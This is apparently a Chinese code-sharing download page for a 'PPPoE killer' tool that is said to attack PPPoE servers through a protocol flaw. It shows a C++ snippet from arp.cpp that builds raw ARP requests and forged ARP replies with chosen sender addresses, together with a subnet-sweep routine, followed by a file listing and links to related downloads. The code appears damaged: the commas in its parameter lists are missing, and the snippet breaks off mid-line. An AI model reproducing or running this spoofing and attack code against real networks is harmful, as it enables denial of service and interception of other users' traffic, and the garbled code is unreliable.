资源简介
利用PPPOE协议的漏洞攻击PPPOE服务器。有点类似于ARP攻击。
代码片段和文件信息
// arp.cpp: implementation of the arp class.
//
//////////////////////////////////////////////////////////////////////
#include “arp.h“
int WINAPI send_arp_request(pcap_t *adhandle ip_address s_ip mac_address s_macip_address d_ip){
//构造包
arp_packet arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));
//包头以及填充的尾部,不变得部分
arp_ask.eh.dmac.byte1 = 0xff;
arp_ask.eh.dmac.byte2 = 0xff;
arp_ask.eh.dmac.byte3 = 0xff;
arp_ask.eh.dmac.byte4 = 0xff;
arp_ask.eh.dmac.byte5 = 0xff;
arp_ask.eh.dmac.byte6 = 0xff;
arp_ask.eh.smac = s_mac;
arp_ask.eh.ethproto = 0x0608;
//arp数据中不变的部分
arp_ask.ah.htype = 0x0100 ;
arp_ask.ah.ptype = 0x0008 ;
arp_ask.ah.hsize = 0x06 ;
arp_ask.ah.psize = 0x04 ;
arp_ask.ah.opcode = 0x0100 ;//请求
arp_ask.ah.smac = s_mac;
arp_ask.ah.sip = s_ip;
//下面是唯一变化的即arp_ask.ah.tip对方的IP地址
arp_ask.ah.tip = d_ip;
pcap_sendpacket( adhandle (unsigned char*)&arp_asksizeof(arp_packet));
return 0;
}
int WINAPI send_arp_request(pcap_t *adhandle u_long s_ip mac_address s_macu_long d_ip){
ip_address * d_ip_addr * s_ip_addr;
d_ip_addr = (ip_address*) &d_ip ;
s_ip_addr = (ip_address*) &s_ip ;
return send_arp_request(adhandle*s_ip_addrs_mac*d_ip_addr);
}
int WINAPI send_arp_request(pcap_t *adhandleu_long s_ip mac_address s_mac u_long netgroup u_long netmask){
u_long target_ip = netgroup;
int i = 0;
do{
i++;
target_ip += 0x1000000;//最后加上一
if( 0 == ( i % 256 ))
target_ip += 0x10000;//第三段加一
if( 0 == ( i % 65536 ))
target_ip += 0x100;//第二段加一
if( 0 == ( i % 16777216 ))
target_ip += 0x1;//第一段加一
if( target_ip == s_ip ){
continue;
}
if( netgroup != ( netmask & target_ip ) ){
break;
}
send_arp_request( adhandle s_ips_mactarget_ip);
}while(1);
return 0;
}
int WINAPI send_arp_reply(pcap_t *adhandle ip_address s_ip mac_address s_mac ip_address d_ipmac_address d_mac){
//构造包
arp_packet arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));
//包头以及填充的尾部,不变得部分
arp_ask.eh.dmac = d_mac;
arp_ask.eh.smac = s_mac;
arp_ask.eh.ethproto = 0x0608;
//arp数据中不变的部分
arp_ask.ah.htype = 0x0100 ;
arp_ask.ah.ptype = 0x0008 ;
arp_ask.ah.hsize = 0x06 ;
arp_ask.ah.psize = 0x04 ;
arp_ask.ah.opcode = 0x0200 ;//回复
//下面是发送方的地址
arp_ask.ah.smac = s_mac;
arp_ask.ah.sip = s_ip;
//下面是接收方的地址
arp_ask.ah.tmac = d_mac;
arp_ask.ah.tip = d_ip;
pcap_sendpacket( adhandle (unsigned char*)&arp_asksizeof(arp_packet));
return 0;
}
int WINAPI send_arp_reply(pcap_t *adhandle u_long s_ip mac_address s_mac u_long d_ipmac_address d_mac){
ip_address * d_ip_addr * s_ip_addr;
d_ip_addr = (ip_address*) &d_ip ;
s_ip_addr = (ip_address*) &s_ip ;
return send_arp_reply(adhandle*s_ip_addrs_mac*d_ip_addrd_mac);
}
int WINAPI get_local_mac(mac_address * mac){
ASTAT adapter; //网络适配器
NCB Ncb;
UCHAR uRetCode;
LANA_ENUM lenum;
memset( &Ncb 0 sizeof (Ncb) );
Ncb.
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 3108 2011-06-22 15:07 protocol_header.h
文件 4215 2011-06-22 15:07 arp.cpp
文件 1108 2011-06-22 15:07 arp.h
文件 3657 2011-06-22 15:07 pppoed.cpp
文件 1229 2011-06-22 15:07 pppoed.h
文件 12197 2011-06-22 15:07 pppoekiller.cpp
- 上一篇:单片机电子密码锁课程设计
- 下一篇:烽火通信程序员招聘笔试题
相关资源
- Winsock编程接口实验源码
- 国内知名企业机顶盒源码包括所有源
- 区块链孔一学院视频+源码
- Everything桌面搜索原理源码
- 图的深度优先遍历算法源码
- 易语言一键修改虚拟机硬盘id源码
- uc/os2内核源码
- 尚硅谷springcloud课程源码,springcloud
- ADC0808实现数字电压表源码与仿真
- SSM+Shiro+BootStrap框架整合源码
- LSD-直线检测源码
- BACnet协议源码
- 餐厅小程序整套源码
- RSA混合加密系统源码
- 基于stm32环境数据采集,采集端源码
- UDP协议通信演示Delphi源码
- pascal源码自动转换为c源码软件
- 五子棋源码加详细注释
- SJF2440源码 源代码 官方发布VC++完整
- newtonsoft.json源码
- 简单的人才招聘系统源码
- 最简单易懂的CC攻击
- 弹弹堂瞄准器V1.3源码
- 二叉树深度+建树+查找+遍历二叉树
- 自己动手改造TabControl--从山寨Safari开
- win8加载圆圈动画(含源码/demo)
- N皇后问题答案求解QT实现带源码
- e4a e4a源码 彩票35选7源码
- dnf黄龙脚本源码
- 本人写的win7 64位 过tp双机调试源码及
评论
共有 条评论